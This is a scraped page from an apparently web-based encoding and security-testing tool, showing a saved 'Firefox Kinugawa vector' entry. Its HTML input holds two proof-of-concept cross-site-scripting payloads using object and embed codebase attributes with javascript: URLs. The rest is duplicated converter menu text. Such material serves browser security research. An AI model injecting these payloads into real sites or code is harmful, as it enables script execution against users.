HackPadCreatedMonday, June 2, 2025 at 8:31:43 PMDescriptionFirefox Kinugawa vector (requires sandbox off and Firefox)AuthorhackvertorOptionsSandboxed?Content Typetext/htmlapplication/xhtml+xmlimage/svg+xmlModeHTMLMXSSCharsetBig5EUC-JPEUC-KRGBKIBM866ISO-2022-JPISO-8859-10ISO-8859-13ISO-8859-14ISO-8859-15ISO-8859-16ISO-8859-2ISO-8859-3ISO-8859-4ISO-8859-5ISO-8859-6ISO-8859-7ISO-8859-8ISO-8859-8-IKOI8-RKOI8-UShift_JISUTF-16BEUTF-16LEUTF-8gb18030macintoshwindows-1250windows-1251windows-1252windows-1253windows-1254windows-1255windows-1256windows-1257windows-1258windows-874x-mac-cyrillicx-user-definedAuto execute?CSP:JSJS Input:0 0JS Output:0 0HTMLHTML Input:<object data=# codebase=javascript:alert(document.domain)//></object> <embed src=# codebase="javascript:alert(1)//">HTML Output:RenderClearSaveExecute (Ctl+Enter)HackPad History«←Jump to historyResetReset history (0 of 0)→»Error! ConverterArrayjsArrayshufflesortuniqueCharsetsbomiso2022EscapesoverlongUTF8unicodeNormalizationunicodeOverflowunicodeOverflowVariationsunicodeTruncationus_asciiencodedecodedecode → encodeutf16encodedecodedecode → encodeutf16BEencodedecodedecode → encodeutf16LEencodedecodedecode → encodeutf7encodedecodedecode → encodeutf8BytesHexConvertautodecodebase32encodedecodedecode → encodebase58encodedecodedecode → encodebase62encodedecodedecode → encodebase64encodedecodedecode → encodebase64Urlencodedecodedecode → encodebase85encodedecodedecode → encodebase91encodedecodedecode → encodebinaryencodedecodedecode → encodecssEscapeencodedecodedecode → encodedecencodedecodedecode → encodeencodedWordencodedecodedecode → encodeencodedWordMetaextractAsciifullWidthhexencodedecodedecode → encodehexBytesencodedecodedecode → encodehexEscapeencodedecodedecode → encodehexSpaceencodedecodedecode → encodehtmlencodedecodedecode → encodejsjsAsyncmalformedUrlencodedecodedecode → encodeoctalencodedecodedecode → encodephpChrencodedecodedecode → encodepunycodeencodedecodedecode → encodetemplateStringExpressionunicodeencodedecodedecode → encodeunicodeEs6encodedecodedecode → encodeurlencodedecodedecode → encodezalgozbase32encodedecodedecode → encodeEncryptrot13rot47xorHashmd4md5shaIPdword2iphex2ipip2dwordip2hexip2octoct2ipMathbaserangeSQLisqlCharencodedecodedecode → encodesqlChrencodedecodedecode → encodesqlHexStringcapitalisefindfromCodePointinvisibleSeparatorleftToRightOverridelineSeparatorlowernextLineCharpadStartparagraphSeparatorrepeatreplaceAllreplaceAllRegexreverserightToLeftOverridesplitJointoCodePointunicodeWhitespaceupperwordJoinerzeroWidthJoinerzeroWidthNoBreakSpacezeroWidthNonJoinerzeroWidthSpaceUtilsformatJsonVariablesgetVariablesetVariableXMLformatXmlxmlEntityxmlToJsonXSScdataevalFromCodePointhasegawajsFuckrestrictedVectorssvgsvgScriptCommentternaryvectorsArrayjsArrayshufflesortuniqueCharsetsbomiso2022EscapesoverlongUTF8unicodeNormalizationunicodeOverflowunicodeOverflowVariationsunicodeTruncationus_asciiencodedecodedecode → encodeutf16encodedecodedecode → encodeutf16BEencodedecodedecode → encodeutf16LEencodedecodedecode → encodeutf7encodedecodedecode → encodeutf8BytesHexConvertautodecodebase32encodedecodedecode → encodebase58encodedecodedecode → encodebase62encodedecodedecode → encodebase64encodedecodedecode → encodebase64Urlencodedecodedecode → encodebase85encodedecodedecode → encodebase91encodedecodedecode → encodebinaryencodedecodedecode → encodecssEscapeencodedecodedecode → encodedecencodedecodedecode → encodeencodedWordencodedecodedecode → encodeencodedWordMetaextractAsciifullWidthhexencodedecodedecode → encodehexBytesencodedecodedecode → encodehexEscapeencodedecodedecode → encodehexSpaceencodedecodedecode → encodehtmlencodedecodedecode → encodejsjsAsyncmalformedUrlencodedecodedecode → encodeoctalencodedecodedecode → encodephpChrencodedecodedecode → encodepunycodeencodedecodedecode → encodetemplateStringExpressionunicodeencodedecodedecode → encodeunicodeEs6encodedecodedecode → encodeurlencodedecodedecode → encodezalgozbase32encodedecodedecode → encodeEncryptrot13rot47xorHashmd4md5shaIPdword2iphex2ipip2dwordip2hexip2octoct2ipMathbaserangeSQLisqlCharencodedecodedecode → encodesqlChrencodedecodedecode → encodesqlHexStringcapitalisefindfromCodePointinvisibleSeparatorleftToRightOverridelineSeparatorlowernextLineCharpadStartparagraphSeparatorrepeatreplaceAllreplaceAllRegexreverserightToLeftOverridesplitJointoCodePointunicodeWhitespaceupperwordJoinerzeroWidthJoinerzeroWidthNoBreakSpacezeroWidthNonJoinerzeroWidthSpaceUtilsformatJsonVariablesgetVariablesetVariableXMLformatXmlxmlEntityxmlToJsonXSScdataevalFromCodePointhasegawajsFuckrestrictedVectorssvgsvgScriptCommentternaryvectorsInput:0 0Output:0 0ClearClear tagsAutodecode← OutputSaveConvertExtrasDebugSelect inputSelect outputSend to HackPadHistory«←Jump to historyResetReset history (0 of 0)→»Error!
